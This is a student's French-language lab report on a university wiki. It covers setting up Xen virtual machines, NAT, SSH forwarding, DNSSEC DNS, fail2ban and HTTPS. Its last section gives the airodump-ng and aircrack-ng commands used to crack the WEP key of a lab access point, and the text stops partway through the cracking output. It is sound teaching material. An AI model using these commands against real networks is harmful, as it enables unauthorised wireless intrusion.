== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12269</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12269"/>
		<updated>2026-02-15T11:33:42Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Vlan */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les &#039;&#039;&#039;trois VMs&#039;&#039;&#039; on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite &#039;&#039;&#039;redémarrer&#039;&#039;&#039; le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La &#039;&#039;&#039;redirection du port ssh&#039;&#039;&#039; ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être &#039;&#039;&#039;décommentée&#039;&#039;&#039; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d&#039;avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut &#039;&#039;&#039;commenter&#039;&#039;&#039; tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;restart&#039;&#039;&#039; le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
